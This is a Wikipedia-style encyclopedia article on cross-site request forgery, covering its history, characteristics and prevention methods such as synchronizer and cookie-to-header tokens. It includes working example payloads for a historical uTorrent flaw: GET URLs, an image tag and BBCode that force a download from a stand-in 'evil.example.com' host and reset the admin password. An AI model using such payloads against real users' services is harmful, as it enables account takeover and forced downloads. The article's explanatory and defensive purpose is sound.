Cross-site request forgery

From Wikipedia, the free encyclopedia

Cross-site request forgery, also known as **one-click attack** or **session riding** and abbreviated as **CSRF** (sometimes pronounced *sea-surf*[1]) or **XSRF**, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts.[2] There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

History

CSRF vulnerabilities have been known and in some cases exploited since 2001.[3] Because it is carried out from the user's IP address, some website logs might not have evidence of CSRF.[2] Exploits are under-reported, at least publicly, and as of 2007[4] there are few well-documented examples:

- The Netflix website in 2006 had numerous vulnerabilities to CSRF, which could have allowed an attacker to perform actions such as adding a DVD to the victim's rental queue, changing the shipping address on the account, or altering the victim's login credentials to fully compromise the account.[5]
- The online banking web application of ING Direct was vulnerable to a CSRF attack that allowed illicit money transfers.[6]
- Popular video website YouTube was also vulnerable to CSRF in 2008 and this allowed any attacker to perform nearly all actions of any user.[6]
- McAfee was also vulnerable to CSRF and it allowed attackers to change their company system.[7]

Example and characteristics

Attackers who can find a reproducible
link that executes a specific action on the target page while the victim is logged in can embed such link on a page they control and trick the victim into opening it.[1] The attack carrier link may be placed in a location that the victim is likely to visit while logged into the target site (for example, a discussion forum), or sent in a HTML email body or attachment. A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the fact that its web console accessible at localhost:8080 allowed mission-critical actions to be executed as a matter of simple GET request:

Force a .torrent file download

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Change uTorrent administrator password

http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

Attacks were launched by placing malicious, automatic-action HTML image elements on forums and email spam, so that browsers visiting these pages would open them automatically, without much user action. People running vulnerable uTorrent version at the same time as opening these pages were susceptible to the attack.

```
<img src="http://localhost:8080/gui/?action=add-
url&s=http://evil.example.com/backdoor.torrent">
```

CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript, for example using BBCode:

```
[img]http://localhost:8080/gui/?action=add-
url&amp;s=http://evil.example.com/backdoor.torrent[/img]
```

When accessing the attack link to the local uTorrent application at `localhost:8080`, the browser would also always automatically send any existing cookies for that domain. This general property of web browsers enables CSRF attacks to exploit their targeted vulnerabilities and execute hostile actions as long as the user is logged into the target website (in this example, the local uTorrent web interface) at the time of the attack.

A cross-site request forgery is a confused deputy attack against a web browser. The deputy in the bank example is Alice's web browser, which is confused into misusing Alice's authority at Mallory's direction.

CSRF commonly has the following characteristics:

- It involves sites that rely on a user's identity.
- It exploits the site's trust in that identity.

- It tricks the user's browser into sending HTTP requests to a target site.
- It involves HTTP requests that have side effects.

At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site that trusts the user and thereby causes an unwanted action.

In the uTorrent example described above, the attack was facilitated by the fact that uTorrent's web interface used GET request for critical state-changing operations (change credentials, download a file etc.), which RFC 2616 explicitly discourages:

In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.

Because of this assumption, many existing CSRF prevention mechanisms in web frameworks will **not** cover GET requests, but rather apply the protection only to HTTP methods that are intended to be state-changing.[8]

Forging login requests

An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as *login* CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information like activity history that has been saved in the account. This attack has been demonstrated against Google[9] and Yahoo.[10]

HTTP verbs and CSRF

Different HTTP request methods have different level of susceptibility to CSRF attacks and require different levels of protection due to their different handling by web browsers.

- In HTTP GET the CSRF exploitation is trivial, using methods described above, such as a simple hyperlink containing manipulated parameters and automatically loaded by a IMG tag. By the HTTP specification however, GET should be used as a safe method, that is, not significantly changing user's state in the application. Applications using GET for such operations should switch to HTTP POST or use anti-CSRF protection.

- HTTP POST has different vulnerability to CSRF, depending on detailed usage scenarios:
  - In simplest form of POST with data encoded as a query string (`field1=value1&field2=value2`) CSRF attack is easily implemented using a simple HTML form and anti-CSRF measures must be applied.
  - If data is sent in any other format (JSON, XML) a standard method is to issue a POST request using XMLHttpRequest with CSRF attacks prevented by SOP and CORS; there is a technique to send arbitrary content from a simple HTML form using `ENCTYPE` attribute; such a fake request can be distinguished from legitimate ones by `text/plain` content type, but if this is not enforced on the server, CSRF can be executed[11][12]

- other HTTP methods (PUT, DELETE etc.) can only be issued using XMLHttpRequest with SOP and CORS and preventing CSRF; these measures however will not be active on websites that explicitly disable them using `Access-Control-Allow-Origin: *` header

Other approaches to CSRF

Additionally, while typically described as a static type of attack, CSRF can also be dynamically constructed as part of a payload for a cross-site scripting attack, as demonstrated by the Samy worm, or constructed on the fly from session information leaked via offsite content and sent to a target as a malicious URL. CSRF tokens could also be sent to a client by an attacker due to session fixation or other vulnerabilities, or guessed via a brute-force attack, rendered on a malicious page that generates thousands of failed requests. The attack class of "Dynamic CSRF", or using a per-client payload for session-specific forgery, was described[13] in 2009 by Nathan Hamiel and Shawn Moyer at the BlackHat Briefings,[14] though the taxonomy has yet to gain wider adoption.

A new vector for composing dynamic CSRF attacks was presented by Oren Ofer at a local OWASP chapter meeting on January 2012 – "AJAX Hammer – Dynamic CSRF".[15][16]

Effects

According to the United States Department of Homeland Security, the most dangerous CSRF vulnerability ranks as the 909th most dangerous software bug ever found.[17] Other severity metrics have been issued for CSRF vulnerabilities that result in remote code execution with root privileges[18] as well as a vulnerability that can compromise a root certificate, which will completely undermine a public key infrastructure.[19]

Limitations

Several things have to happen for cross-site request forgery to succeed:

1. The attacker must target either a site that doesn't check the referrer header or a victim with a browser or plugin that allows referer spoofing.[citation needed]
2. The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password).
3. The attacker must determine the right values for all the forms or URL inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will most likely fail (unless the attacker is extremely lucky in their guess).
4. The attacker must lure the victim to a web page with malicious code while the victim is logged into the target site.

Note that the attack is blind; i.e., the attacker can't see what the target website sends back to the victim in response to the forged requests, unless they exploit a cross-site scripting or other bug at the target website. Similarly, the attacker can only target any links or submit any forms that come up after the initial forged request if those subsequent links or forms are similarly predictable. (Multiple targets can be simulated by including multiple images on a page, or by using JavaScript to introduce a delay between clicks.)

Given these constraints, an attacker might have difficulty finding logged-in victims or attackable form submissions.[citation needed] On the other hand, attack attempts are easy to mount and invisible to victims, and application designers are less familiar with and prepared for CSRF attacks than they are for, say, password cracking dictionary attacks.

Prevention

Most CSRF prevention techniques work by embedding additional authentication data into requests that allows the web application to detect requests from unauthorized locations.

Synchronizer token pattern

Synchronizer token pattern (STP) is a technique where a token, secret and unique value for each request, is embedded by the web application in all HTML forms and verified on the server side. The token may be generated by any method that ensures unpredictability and uniqueness (e.g. using a hash chain of random seed). The attacker is thus unable to place a correct token in their requests to authenticate them.[1][20][21]

Example of STP set by Django in a HTML form:

```
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt"
/>
```

STP is the most compatible as it only relies on HTML, but introduces some complexity on the server side, due to the burden associated with checking validity of the token on each single request. As the token is unique and unpredictable, it also enforces proper sequence of events (e.g. screen 1, then 2, then 3) which raises usability problem (e.g. user opens multiple tabs). It can be relaxed by using per session CSRF token instead of per request CSRF token.

Cookie-to-header token

Web applications that use JavaScript for the majority of their operations may use an anti-CSRF technique that relies on same-origin policy:

- On login, the web application sets a cookie containing a random token that remains the same for the whole user session

```
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33
GMT; Max-Age=31449600; Path=/
```

- JavaScript operating on the client side reads its value and copies it into a custom HTTP header sent with each transactional request

```
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
```

- The server validates presence and integrity of the token

Security of this technique is based on the assumption that only JavaScript running within the same origin will be able to read the cookie's value. JavaScript running from a rogue file or email will not be able to read it and copy into the custom header. Even though the `csrf-token` **cookie** will be automatically sent with the rogue request, the server will be still expecting a valid `X-Csrf-Token` **header**.

The CSRF token itself should be unique and unpredictable. It may be generated randomly, or it may be derived from the session token using HMAC:

```
csrf_token = HMAC(session_token, application_secret)
```

The CSRF token cookie must not have httpOnly flag, as it is intended to be read by the JavaScript by design.

This technique is implemented by many modern frameworks, such as Django[22] and AngularJS.[23] Because the token remains constant over the whole user session, it works well with AJAX applications, but does not enforce sequence of events in the web application.

The protection provided by this technique can be thwarted if the target website **disables** its same-origin policy using one of the following techniques:

- Permissive `Access-Control-Allow-Origin` Cross-origin resource sharing header (with asterisk argument)
- `clientaccesspolicy.xml` file granting unintended access to Silverlight controls[24]
- `crossdomain.xml` file granting unintended access to Flash movies[25]

Client-side safeguards

Browser extensions such as RequestPolicy (for Mozilla Firefox) or uMatrix (for both Firefox and Google Chrome/Chromium) can prevent CSRF by providing a default-deny policy for cross-site requests. However, this can significantly interfere with the normal operation of many websites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing, by removing authentication information from cross-site requests.

The NoScript extension for Firefox mitigates CSRF threats by distinguishing trusted from untrusted sites, and removing authentication & payloads from POST requests sent by untrusted sites to trusted ones. The Application Boundary Enforcer module in NoScript also blocks requests sent from internet pages to local sites (e.g. localhost), preventing CSRF attacks on local services (such as uTorrent) or routers.

The Self Destructing Cookies extension for Firefox does not directly protect from CSRF, but can reduce the attack window, by deleting cookies as soon as they are no longer associated with an open tab.

Other techniques

Various other techniques have been used or proposed for CSRF prevention historically:

- Verifying that the request's headers contain `X-Requested-With` (used by Ruby on Rails before v2.0 and Django before v1.2.5), or checking the HTTP `Referer` header and/or HTTP `Origin` header.[26] However, this is insecure – a combination of browser plugins and redirects can allow an attacker to provide custom HTTP headers on a request to any website, hence allowing a forged request.[27][28]
- Checking the HTTP `Referer` header to see if the request is coming from an authorized page is commonly used for embedded network devices because it does not increase memory requirements. However, a request that omits the `Referer` header must be treated as unauthorized because an attacker can suppress the `Referer` header by issuing requests from FTP or HTTPS URLs. This strict `Referer` validation may cause issues with browsers or proxies that omit the `Referer` header for privacy reasons. Also, old versions of Flash (before 9.0.18) allow malicious Flash to generate GET or POST requests with arbitrary

HTTP request headers using CRLF Injection.[29] Similar CRLF injection vulnerabilities in a client can be used to spoof the referrer of an HTTP request.

- POST request method was for a while perceived as immune to trivial CSRF attacks using parameters in URL (using GET method). However, both POST and any other HTTP method can be now easily executed using XMLHttpRequest. Filtering out unexpected GET requests still prevents some particular attacks, such as cross-site attacks using malicious image URLs or link addresses and cross-site information leakage through `<script>` elements (*JavaScript hijacking*); it also prevents (non-security-related) problems with aggressive web crawlers and link prefetching.[1]

Cross-site scripting (XSS) vulnerabilities (even in other applications running on the same domain) allow attackers to bypass essentially all CSRF preventions.[30]